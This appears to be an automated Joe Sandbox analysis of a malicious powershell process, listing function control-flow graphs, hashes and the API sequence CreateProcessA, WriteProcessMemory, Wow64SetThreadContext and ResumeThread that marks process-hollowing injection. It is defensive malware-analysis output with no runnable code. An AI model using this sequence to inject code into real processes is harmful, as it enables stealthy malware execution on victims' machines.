                      Total number of Nodes:31
                      Total number of Limit Nodes:2
                      execution_graph 12689 2c7d08 12690 2c7d2f 12689->12690 12694 2c9669 12690->12694 12703 2ca0e0 12690->12703 12691 2c7e3a 12695 2c96ab 12694->12695 12696 2ca169 12695->12696 12702 2c8e48 WriteProcessMemory 12695->12702 12712 2c91e0 12695->12712 12716 2c8b00 12695->12716 12720 2c8af8 12695->12720 12724 2c8a08 12695->12724 12728 2c8a10 12695->12728 12696->12691 12702->12695 12705 2c9783 12703->12705 12704 2ca169 12704->12691 12705->12704 12706 2c91e0 CreateProcessA 12705->12706 12707 2c8af8 Wow64SetThreadContext 12705->12707 12708 2c8b00 Wow64SetThreadContext 12705->12708 12709 2c8e48 WriteProcessMemory 12705->12709 12710 2c8a08 ResumeThread 12705->12710 12711 2c8a10 ResumeThread 12705->12711 12706->12705 12707->12705 12708->12705 12709->12705 12710->12705 12711->12705 12713 2c9267 CreateProcessA 12712->12713 12715 2c94c5 12713->12715 12717 2c8b49 Wow64SetThreadContext 12716->12717 12719 2c8bc7 12717->12719 12719->12695 12721 2c8b01 Wow64SetThreadContext 12720->12721 12723 2c8bc7 12721->12723 12723->12695 12725 2c8a54 ResumeThread 12724->12725 12727 2c8aa6 12725->12727 12727->12695 12729 2c8a54 ResumeThread 12728->12729 12731 2c8aa6 12729->12731 12731->12695

                      Executed Functions

                      Function 0034528C Relevance: 10.1, Strings: 7, Instructions: 1323COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 0 34528c-34528f 1 345295-34529d 0->1 2 345291-345293 0->2 3 3452b5-3452b9 1->3 4 34529f-3452a4 1->4 2->1 7 3453e4-3453ee 3->7 8 3452bf-3452c3 3->8 5 3452a5 4->5 6 3452a9-3452b3 4->6 5->6 13 3452a7 5->13 6->3 9 3453f0-3453f9 7->9 10 3453fc-345402 7->10 11 3452c5-3452d6 8->11 12 345303 8->12 14 345404-345406 10->14 15 345408-345414 10->15 21 34543c-34548b 11->21 22 3452dc-3452e1 11->22 16 345305-345307 12->16 13->3 19 345416-345439 14->19 15->19 16->7 20 34530d-345311 16->20 20->7 24 345317-34531b 20->24 34 345491-345496 21->34 35 34568e-34569b 21->35 25 3452e3-3452e9 22->25 26 3452f9-345301 22->26 24->7 28 345321-345347 24->28 29 3452ed-3452f7 25->29 30 3452eb 25->30 26->16 28->7 45 34534d-345351 28->45 29->26 30->26 37 3454ae-3454b2 34->37 38 345498-34549e 34->38 43 345637-345641 37->43 44 3454b8-3454ba 37->44 39 3454a0 38->39 40 3454a2-3454ac 38->40 39->37 40->37 48 345643-34564a 43->48 49 34564d-345653 43->49 46 3454bc-3454c8 44->46 47 3454ca 44->47 51 345374 45->51 52 345353-34535c 45->52 53 3454cc-3454ce 46->53 47->53 54 345655-345657 49->54 55 345659-345665 49->55 59 345377-345384 51->59 56 345363-345370 52->56 57 34535e-345361 52->57 53->43 58 3454d4-3454f3 53->58 60 345667-34568b 54->60 55->60 61 345372 56->61 57->61 70 3454f5-345501 58->70 71 345503 58->71 66 34538a-3453e1 59->66 61->59 72 345505-345507 70->72 71->72 72->43 73 34550d-345511 72->73 73->43 74 345517-34551b 73->74 75 34551d-34552c 74->75 76 34552e 74->76 77 345530-345532 75->77 76->77 77->43 78 345538-34553c 77->78 78->43 79 345542-345561 78->79 82 345563-345569 79->82 83 345579-345584 79->83 86 34556d-34556f 82->86 87 34556b 82->87 84 345586-345589 83->84 85 345593-3455af 83->85 84->85 88 3455b1-3455c4 85->88 89 3455cc-3455d6 85->89 86->83 87->83 88->89 90 3455d8 89->90 91 3455da-345628 89->91 92 34562d-345634 90->92 91->92
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452858485.0000000000340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00340000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_340000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID: @#Gd$@#Gd$@#Gd$@#Gd$L4#p$L4#p$L4#p
                      • API String ID: 0-1034216083
                      • Opcode ID: 296cf75aaa97b14db60b1aca403ef663f2b1d73af80a12f909f3fceaffd98efa
                      • Instruction ID: 0fa6407ba39f2f087222deee9b1d0163a8143abab9a6b4747398b47208a02b87
                      • Opcode Fuzzy Hash: 296cf75aaa97b14db60b1aca403ef663f2b1d73af80a12f909f3fceaffd98efa
                      • Instruction Fuzzy Hash: 28B1E235F00645DFEF168F64C850BAE7BE2AB85310F15846AE9028F2A2DB75ED41CB51
                      Function 003439B0 Relevance: 8.0, Strings: 6, Instructions: 468COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 99 3439b0-3439d3 100 343b91-343bdd 99->100 101 3439d9-3439de 99->101 111 343be3-343be8 100->111 112 343d69-343db3 100->112 102 3439f6-3439fa 101->102 103 3439e0-3439e6 101->103 106 343a00-343a02 102->106 107 343b38-343b42 102->107 104 3439e8 103->104 105 3439ea-3439f4 103->105 104->102 105->102 109 343a04-343a10 106->109 110 343a12 106->110 113 343b44-343b4d 107->113 114 343b50-343b56 107->114 118 343a14-343a16 109->118 110->118 119 343c00-343c04 111->119 120 343bea-343bf0 111->120 131 343db9-343dbe 112->131 132 343f0a-343f4e 112->132 115 343b5c-343b68 114->115 116 343b58-343b5a 114->116 121 343b6a-343b8e 115->121 116->121 118->107 125 343a1c-343a20 118->125 122 343d19-343d23 119->122 123 343c0a-343c0c 119->123 126 343bf4-343bfe 120->126 127 343bf2 120->127 133 343d25-343d2e 122->133 134 343d31-343d37 122->134 129 343c1c 123->129 130 343c0e-343c1a 123->130 135 343a40 125->135 136 343a22-343a3e 125->136 126->119 127->119 141 343c1e-343c20 129->141 130->141 143 343dd6-343dda 131->143 144 343dc0-343dc6 131->144 192 343f50-343f52 132->192 193 343f5c-343f74 132->193 137 343d3d-343d49 134->137 138 343d39-343d3b 134->138 140 343a42-343a44 135->140 136->140 146 343d4b-343d66 137->146 138->146 140->107 149 343a4a-343a4e 140->149 141->122 150 343c26-343c45 141->150 147 343eb7-343ec1 143->147 148 343de0-343de2 143->148 152 343dc8 144->152 153 343dca-343dd4 144->153 161 343ec3-343ecc 147->161 162 343ecf-343ed5 147->162 155 343de4-343df0 148->155 156 343df2 148->156 157 343a50-343a5f 149->157 158 343a61 149->158 185 343c55 150->185 186 343c47-343c53 150->186 152->143 153->143 169 343df4-343df6 155->169 156->169 165 343a63-343a65 157->165 158->165 166 343ed7-343ed9 162->166 167 343edb-343ee7 162->167 165->107 172 343a6b-343a6d 165->172 174 343ee9-343f07 166->174 167->174 169->147 171 343dfc-343e00 169->171 179 343e20 171->179 180 343e02-343e1e 171->180 176 343a87-343aa1 172->176 177 343a6f-343a75 172->177 195 343ab0-343ac6 176->195 196 343aa3-343aa6 176->196 183 343a77 177->183 184 343a79-343a85 177->184 188 343e22-343e24 179->188 180->188 183->176 184->176 191 343c57-343c59 185->191 186->191 188->147 194 343e2a-343e2d 188->194 191->122 199 343c5f-343c7e 191->199 192->193 204 343f76 193->204 205 343f78-343f7a 193->205 200 343e37-343e3d 194->200 209 343ade-343b35 195->209 210 343ac8-343ace 195->210 196->195 217 343c96-343cb5 199->217 218 343c80-343c86 199->218 207 343e43-343e45 200->207 208 343f84-343f85 204->208 205->208 212 343e47-343e4d 207->212 213 343e5d-343eb4 207->213 214 343ad0 210->214 215 343ad2-343ad4 210->215 219 343e51-343e53 212->219 220 343e4f 212->220 214->209 215->209 226 343cb7-343cba 217->226 227 343cbc-343d0a 217->227 222 343c88 218->222 223 343c8a-343c8c 218->223 219->213 220->213 222->217 223->217 228 343d0f-343d16 226->228 227->228
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452858485.0000000000340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00340000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_340000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID: @#Gd$@#Gd$@#Gd$@#Gd$@#Gd$@#Gd
                      • API String ID: 0-3589473678
                      • Opcode ID: 1a0bccf700229adcbf91b6c63c6ef41c6a9917e45d26cc6b66874821938804e9
                      • Instruction ID: 3934d68dc6e0ae3774a9e4bf75068706537f10d41bbfc57846d41ebadf484895
                      • Opcode Fuzzy Hash: 1a0bccf700229adcbf91b6c63c6ef41c6a9917e45d26cc6b66874821938804e9
                      • Instruction Fuzzy Hash: 21E14531B043018FDB169B748851BAABBE2EF85310F2580BAD445DF391DB75EE42C7A2
                      Function 002C91E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 323processCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 235 2c91e0-2c9279 237 2c927b-2c9292 235->237 238 2c92c2-2c92ea 235->238 237->238 243 2c9294-2c9299 237->243 241 2c92ec-2c9300 238->241 242 2c9330-2c9386 238->242 241->242 253 2c9302-2c9307 241->253 251 2c93cc-2c94c3 CreateProcessA 242->251 252 2c9388-2c939c 242->252 244 2c92bc-2c92bf 243->244 245 2c929b-2c92a5 243->245 244->238 248 2c92a9-2c92b8 245->248 249 2c92a7 245->249 248->248 250 2c92ba 248->250 249->248 250->244 271 2c94cc-2c95b1 251->271 272 2c94c5-2c94cb 251->272 252->251 260 2c939e-2c93a3 252->260 254 2c9309-2c9313 253->254 255 2c932a-2c932d 253->255 257 2c9315 254->257 258 2c9317-2c9326 254->258 255->242 257->258 258->258 261 2c9328 258->261 262 2c93a5-2c93af 260->262 263 2c93c6-2c93c9 260->263 261->255 265 2c93b1 262->265 266 2c93b3-2c93c2 262->266 263->251 265->266 266->266 268 2c93c4 266->268 268->263 284 2c95c1-2c95c5 271->284 285 2c95b3-2c95b7 271->285 272->271 286 2c95d5-2c95d9 284->286 287 2c95c7-2c95cb 284->287 285->284 288 2c95b9 285->288 290 2c95e9-2c95ed 286->290 291 2c95db-2c95df 286->291 287->286 289 2c95cd 287->289 288->284 289->286 293 2c95ef-2c9618 290->293 294 2c9623-2c962e 290->294 291->290 292 2c95e1 291->292 292->290 293->294 297 2c962f 294->297 297->297
                      APIs
                      • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 002C94A7
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452789015.00000000002C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002C0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_2c0000_powershell.jbxd
                      Similarity
                      • API ID: CreateProcess
                      • String ID: 8+$8+$8+
                      • API String ID: 963392458-1290383459
                      • Opcode ID: 4caedfdd24bd2d9c121c5deb81df4e0f817de22e00169e1d3173f33206eb49eb
                      • Instruction ID: 02a756fed2d29d338f5bf2040f2d9d2b19403f9b3d7a8ac18fc540437fefebbb
                      • Opcode Fuzzy Hash: 4caedfdd24bd2d9c121c5deb81df4e0f817de22e00169e1d3173f33206eb49eb
                      • Instruction Fuzzy Hash: 5FC14870D1025A8FDF25CFA4C845BEDBBB1BF49300F0096AAD849B7290DB749A95CF91
                      Function 00340F50 Relevance: 5.2, Strings: 4, Instructions: 187COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 299 340f50-340f62 300 341022-34106a 299->300 301 340f68-340f79 299->301 306 341070-341075 300->306 307 34116d 300->307 304 340f93-340fb0 301->304 305 340f7b-340f80 301->305 304->300 323 340fb2-340fd4 304->323 315 340f85-340f91 305->315 316 340f81 305->316 309 341077-34107d 306->309 310 34108d-341091 306->310 311 341172-34117c 307->311 317 341081-34108b 309->317 318 34107f 309->318 312 341097-341099 310->312 313 34111f-341129 310->313 325 341181-341188 311->325 321 3410a9 312->321 322 34109b-3410a7 312->322 319 341136-34113c 313->319 320 34112b-341133 313->320 315->304 316->315 324 340f83 316->324 317->310 318->310 328 341142-34114e 319->328 329 34113e-341140 319->329 330 3410ab-3410ad 321->330 322->330 335 340fd6-340fdc 323->335 336 340fee-341006 323->336 324->304 331 341150-34116a 328->331 329->331 330->313 332 3410af-3410bd 330->332 341 3410d7-34111c 332->341 342 3410bf-3410c5 332->342 338 340fe0-340fec 335->338 339 340fde 335->339 349 341014-34101f 336->349 350 341008-34100a 336->350 338->336 339->336 346 3410c7 342->346 347 3410c9-3410d5 342->347 346->341 347->341 350->349
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452858485.0000000000340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00340000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_340000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID: 89/$@#Gd$@#Gd$^d
                      • API String ID: 0-3139253487
                      • Opcode ID: 6b7ee7c138c160c49196690c12393899908543fec45f32fc4a2709a8078a0ba4
                      • Instruction ID: 10ef23c5a444ed7793346aafc00bcbdb38ea683a020dd2f938857648ff1801b3
                      • Opcode Fuzzy Hash: 6b7ee7c138c160c49196690c12393899908543fec45f32fc4a2709a8078a0ba4
                      • Instruction Fuzzy Hash: 84510631F002518FDB258B68C801AAEFBE2EF84311F25847ADA45AF351DB71ED85C7A1
                      Function 003443C0 Relevance: 2.9, Strings: 2, Instructions: 370COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 352 3443c0-3443e3 353 3445be-3445ea 352->353 354 3443e9-3443ee 352->354 368 344637-344671 353->368 369 3445ec-3445f1 353->369 355 344406-34440a 354->355 356 3443f0-3443f6 354->356 359 344410-344414 355->359 360 34456b-344575 355->360 357 3443f8 356->357 358 3443fa-344404 356->358 357->355 358->355 362 344416-344425 359->362 363 344427 359->363 365 344577-344580 360->365 366 344583-344589 360->366 367 344429-34442b 362->367 363->367 370 34458f-34459b 366->370 371 34458b-34458d 366->371 367->360 373 344431-344451 367->373 382 344690 368->382 383 344673-34468e 368->383 374 3445f3-3445f9 369->374 375 344609-344621 369->375 376 34459d-3445bb 370->376 371->376 395 344470 373->395 396 344453-34446e 373->396 378 3445fd-344607 374->378 379 3445fb 374->379 386 344623-344625 375->386 387 34462f-344634 375->387 378->375 379->375 388 344692-344694 382->388 383->388 386->387 393 344722-34472c 388->393 394 34469a-34469e 388->394 398 34472e-344735 393->398 399 344738-34473e 393->399 394->393 397 3446a4-3446c1 394->397 403 344472-344474 395->403 396->403 408 3446c7-3446c9 397->408 409 344771-344776 397->409 400 344744-344750 399->400 401 344740-344742 399->401 405 344752-34476e 400->405 401->405 403->360 406 34447a-34447c 403->406 411 34448c 406->411 412 34447e-34448a 406->412 414 3446e3-3446f8 408->414 415 3446cb-3446d1 408->415 409->408 416 34448e-344490 411->416 412->416 426 3446fe-34471c 414->426 427 34477b-3447ac 414->427 418 3446d5-3446e1 415->418 419 3446d3 415->419 416->360 420 344496-3444b6 416->420 418->414 419->414 433 3444ce-3444d2 420->433 434 3444b8-3444be 420->434 426->393 431 3447bc 427->431 432 3447ae-3447ba 427->432 435 3447be-3447c0 431->435 432->435 438 3444d4-3444da 433->438 439 3444ec-3444f0 433->439 436 3444c0 434->436 437 3444c2-3444c4 434->437 440 3447e2-3447ec 435->440 441 3447c2-3447c6 435->441 436->433 437->433 442 3444dc 438->442 443 3444de-3444ea 438->443 444 3444f7-3444f9 439->444 446 3447f6-3447fc 440->446 447 3447ee-3447f3 440->447 441->440 445 3447c8-3447df 441->445 442->439 443->439 448 344511-344568 444->448 449 3444fb-344501 444->449 450 344802-34480e 446->450 451 3447fe-344800 446->451 453 344505-344507 449->453 454 344503 449->454 457 344810-34482a 450->457 451->457 453->448 454->448
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452858485.0000000000340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00340000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_340000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID: @#Gd$@#Gd
                      • API String ID: 0-1024598372
                      • Opcode ID: dbc84c4ea5dd34f6c6e1e977173fc15d90d25603d69b98e0d41e4a6223529515
                      • Instruction ID: 8052dbcfeedac83e066addb39f99b1ecd978fb8d774dfd34e9b3b897989dc4b0
                      • Opcode Fuzzy Hash: dbc84c4ea5dd34f6c6e1e977173fc15d90d25603d69b98e0d41e4a6223529515
                      • Instruction Fuzzy Hash: B3C126317043408FDB269B658410B6ABBE6AFC6311F2984BBD549CF392DB35EC46C762
                      Function 00340ED8 Relevance: 2.6, Strings: 2, Instructions: 119COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 461 340ed8-340eff 462 340f01-340f06 461->462 463 340f2c-340f48 461->463 464 340f1e-340f26 462->464 465 340f08-340f0e 462->465 470 340f7f-340f80 463->470 471 340f4a-340f62 463->471 469 340f2b 464->469 467 340f10 465->467 468 340f12-340f1c 465->468 467->464 468->464 475 340f85-340f91 470->475 476 340f81 470->476 473 341022-34106a 471->473 474 340f68-340f79 471->474 483 341070-341075 473->483 484 34116d-34117c 473->484 478 340f93-340fb0 474->478 482 340f7b 474->482 475->478 476->475 477 340f83 476->477 477->478 478->473 491 340fb2-340fd4 478->491 482->470 486 341077-34107d 483->486 487 34108d-341091 483->487 498 341181-341188 484->498 492 341081-34108b 486->492 493 34107f 486->493 489 341097-341099 487->489 490 34111f-341129 487->490 496 3410a9 489->496 497 34109b-3410a7 489->497 494 341136-34113c 490->494 495 34112b-341133 490->495 506 340fd6-340fdc 491->506 507 340fee-341006 491->507 492->487 493->487 500 341142-34114e 494->500 501 34113e-341140 494->501 502 3410ab-3410ad 496->502 497->502 504 341150-34116a 500->504 501->504 502->490 505 3410af-3410bd 502->505 515 3410d7-34111c 505->515 516 3410bf-3410c5 505->516 509 340fe0-340fec 506->509 510 340fde 506->510 517 341014-34101f 507->517 518 341008-34100a 507->518 509->507 510->507 520 3410c7 516->520 521 3410c9-3410d5 516->521 518->517 520->515 521->515
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452858485.0000000000340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00340000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_340000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID: 89/$^d
                      • API String ID: 0-1039255243
                      • Opcode ID: be051108e54a4230fe03c0c8b860af944734ff90c24d01d4cdea2eb00752d975
                      • Instruction ID: 13d2eb60c6a26dd3390e81cd4add6009de341040282a54fae812b03e77725001
                      • Opcode Fuzzy Hash: be051108e54a4230fe03c0c8b860af944734ff90c24d01d4cdea2eb00752d975
                      • Instruction Fuzzy Hash: 5241BA31B093819FD7278B64C851A69BFF1AF46310B1A80EBD584DF293C771AD46C7A2
                      Function 002C8E48 Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 919 2c8e48-2c8eb3 921 2c8eca-2c8f31 WriteProcessMemory 919->921 922 2c8eb5-2c8ec7 919->922 924 2c8f3a-2c8f8c 921->924 925 2c8f33-2c8f39 921->925 922->921 925->924
                      APIs
                      • WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 002C8F1B
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452789015.00000000002C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002C0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_2c0000_powershell.jbxd
                      Similarity
                      • API ID: MemoryProcessWrite
                      • String ID:
                      • API String ID: 3559483778-0
                      • Opcode ID: a3b846272d9a678f9ce7e4f6f20f010077eadbec0c3b9c6d3f71971865705d18
                      • Instruction ID: 68bad155400d71559b79653d7721124376fafde3f8e6a357a328fe492d6a451b
                      • Opcode Fuzzy Hash: a3b846272d9a678f9ce7e4f6f20f010077eadbec0c3b9c6d3f71971865705d18
                      • Instruction Fuzzy Hash: FF41AAB4D012599FCF00CFA9D984AEEFBF1BB49310F20902AE818B7250D734AA55CF64
                      Function 002C8AF8 Relevance: 1.6, APIs: 1, Instructions: 99threadCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 930 2c8af8-2c8b60 933 2c8b77-2c8bc5 Wow64SetThreadContext 930->933 934 2c8b62-2c8b74 930->934 936 2c8bce-2c8c1a 933->936 937 2c8bc7-2c8bcd 933->937 934->933 937->936
                      APIs
                      • Wow64SetThreadContext.KERNEL32(?,?), ref: 002C8BAF
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452789015.00000000002C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002C0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_2c0000_powershell.jbxd
                      Similarity
                      • API ID: ContextThreadWow64
                      • String ID:
                      • API String ID: 983334009-0
                      • Opcode ID: 3e8984c3e598a689e1c8351eaa87ce492610f41a974c65f038c911883bd23766
                      • Instruction ID: 91869f8a7fa7a208fe8cc1e71ee938455d3c6a905275ff99953a183e98503b2a
                      • Opcode Fuzzy Hash: 3e8984c3e598a689e1c8351eaa87ce492610f41a974c65f038c911883bd23766
                      • Instruction Fuzzy Hash: 6241DCB4D002589FCF00CFA9D985AEEBBB1BF49314F24802AE458B7250D738A945CF94
                      Function 002C8B00 Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 942 2c8b00-2c8b60 944 2c8b77-2c8bc5 Wow64SetThreadContext 942->944 945 2c8b62-2c8b74 942->945 947 2c8bce-2c8c1a 944->947 948 2c8bc7-2c8bcd 944->948 945->944 948->947
                      APIs
                      • Wow64SetThreadContext.KERNEL32(?,?), ref: 002C8BAF
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452789015.00000000002C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002C0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_2c0000_powershell.jbxd
                      Similarity
                      • API ID: ContextThreadWow64
                      • String ID:
                      • API String ID: 983334009-0
                      • Opcode ID: 9224f0dcf4a0142193c35f2be1a1332ca3fef44a801354f0faaba7f55cc03f27
                      • Instruction ID: 9f759f9fe80a114375761df4d9b9286829ae96522e2a8c145a0942fdecd58575
                      • Opcode Fuzzy Hash: 9224f0dcf4a0142193c35f2be1a1332ca3fef44a801354f0faaba7f55cc03f27
                      • Instruction Fuzzy Hash: A241CBB4D002589FCB14CFA9D985AEEFBB1BF48314F24802AE418B7350D738A945CFA4
                      Function 002C8A08 Relevance: 1.6, APIs: 1, Instructions: 78threadCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 953 2c8a08-2c8aa4 ResumeThread 956 2c8aad-2c8aef 953->956 957 2c8aa6-2c8aac 953->957 957->956
                      APIs
                      • ResumeThread.KERNELBASE(?), ref: 002C8A8E
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452789015.00000000002C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002C0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_2c0000_powershell.jbxd
                      Similarity
                      • API ID: ResumeThread
                      • String ID:
                      • API String ID: 947044025-0
                      • Opcode ID: fdf44da5d2978073dab6c2745d0f48f8968c631bacdcaf045c6b97ca7251d62f
                      • Instruction ID: 9acb9539b9074da42e9563770c0064beec03447958379cbdf9650be7194d041a
                      • Opcode Fuzzy Hash: fdf44da5d2978073dab6c2745d0f48f8968c631bacdcaf045c6b97ca7251d62f
                      • Instruction Fuzzy Hash: A331D8B4D002589FCF10CFA9E985AEEFBB0AF49310F24852AE814B7350C734A806CF94
                      Function 002C8A10 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 962 2c8a10-2c8aa4 ResumeThread 965 2c8aad-2c8aef 962->965 966 2c8aa6-2c8aac 962->966 966->965
                      APIs
                      • ResumeThread.KERNELBASE(?), ref: 002C8A8E
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452789015.00000000002C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002C0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_2c0000_powershell.jbxd
                      Similarity
                      • API ID: ResumeThread
                      • String ID:
                      • API String ID: 947044025-0
                      • Opcode ID: 16eb3d2e6b555b15893da57992f027c49db84a0507bc27b55ce1ac0e1bad7641
                      • Instruction ID: 981ba20d5dd783b91172d0ed4f9ce30d8ec661ada24608cad81b64412607e540
                      • Opcode Fuzzy Hash: 16eb3d2e6b555b15893da57992f027c49db84a0507bc27b55ce1ac0e1bad7641
                      • Instruction Fuzzy Hash: 4231A9B4D102199FCF14CFAAD985AEEFBB5AB49310F24952AE814B7310C735A905CF94
                      Function 003443A0 Relevance: 1.4, Strings: 1, Instructions: 108COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 971 3443a0-3443e3 972 3445be-3445ea 971->972 973 3443e9-3443ee 971->973 987 344637-344671 972->987 988 3445ec-3445f1 972->988 974 344406-34440a 973->974 975 3443f0-3443f6 973->975 978 344410-344414 974->978 979 34456b-344575 974->979 976 3443f8 975->976 977 3443fa-344404 975->977 976->974 977->974 981 344416-344425 978->981 982 344427 978->982 984 344577-344580 979->984 985 344583-344589 979->985 986 344429-34442b 981->986 982->986 989 34458f-34459b 985->989 990 34458b-34458d 985->990 986->979 992 344431-344451 986->992 1001 344690 987->1001 1002 344673-34468e 987->1002 993 3445f3-3445f9 988->993 994 344609-344621 988->994 995 34459d-3445bb 989->995 990->995 1014 344470 992->1014 1015 344453-34446e 992->1015 997 3445fd-344607 993->997 998 3445fb 993->998 1005 344623-344625 994->1005 1006 34462f-344634 994->1006 997->994 998->994 1007 344692-344694 1001->1007 1002->1007 1005->1006 1012 344722-34472c 1007->1012 1013 34469a-34469e 1007->1013 1017 34472e-344735 1012->1017 1018 344738-34473e 1012->1018 1013->1012 1016 3446a4-3446c1 1013->1016 1022 344472-344474 1014->1022 1015->1022 1027 3446c7-3446c9 1016->1027 1028 344771-344776 1016->1028 1019 344744-344750 1018->1019 1020 344740-344742 1018->1020 1024 344752-34476e 1019->1024 1020->1024 1022->979 1025 34447a-34447c 1022->1025 1030 34448c 1025->1030 1031 34447e-34448a 1025->1031 1033 3446e3-3446f8 1027->1033 1034 3446cb-3446d1 1027->1034 1028->1027 1035 34448e-344490 1030->1035 1031->1035 1045 3446fe-34471c 1033->1045 1046 34477b-3447ac 1033->1046 1037 3446d5-3446e1 1034->1037 1038 3446d3 1034->1038 1035->979 1039 344496-3444b6 1035->1039 1037->1033 1038->1033 1052 3444ce-3444d2 1039->1052 1053 3444b8-3444be 1039->1053 1045->1012 1050 3447bc 1046->1050 1051 3447ae-3447ba 1046->1051 1054 3447be-3447c0 1050->1054 1051->1054 1057 3444d4-3444da 1052->1057 1058 3444ec-3444f0 1052->1058 1055 3444c0 1053->1055 1056 3444c2-3444c4 1053->1056 1059 3447e2-3447ec 1054->1059 1060 3447c2-3447c6 1054->1060 1055->1052 1056->1052 1061 3444dc 1057->1061 1062 3444de-3444ea 1057->1062 1063 3444f7-3444f9 1058->1063 1065 3447f6-3447fc 1059->1065 1066 3447ee-3447f3 1059->1066 1060->1059 1064 3447c8-3447df 1060->1064 1061->1058 1062->1058 1067 344511-344568 1063->1067 1068 3444fb-344501 1063->1068 1069 344802-34480e 1065->1069 1070 3447fe-344800 1065->1070 1072 344505-344507 1068->1072 1073 344503 1068->1073 1076 344810-34482a 1069->1076 1070->1076 1072->1067 1073->1067
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.452858485.0000000000340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00340000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_340000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID: @#Gd
                      • API String ID: 0-1975255835
                      • Opcode ID: 26e2a94f8ad7932d8280c97208aea01559dde344b1d416f87cac43f3e2172244
                      • Instruction ID: 7a65e8b901228373591b25d016691b66d55d8115f52bb887211dc451a20a7b34
                      • Opcode Fuzzy Hash: 26e2a94f8ad7932d8280c97208aea01559dde344b1d416f87cac43f3e2172244
                      • Instruction Fuzzy Hash: B7315730A04345CFEF238E61840077A7BE4AF92311F2A40B6D4099F7A2CB75ED41CB62
                      Function 00343D90 Relevance: 1.3, Strings: 1, Instructions: 65COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
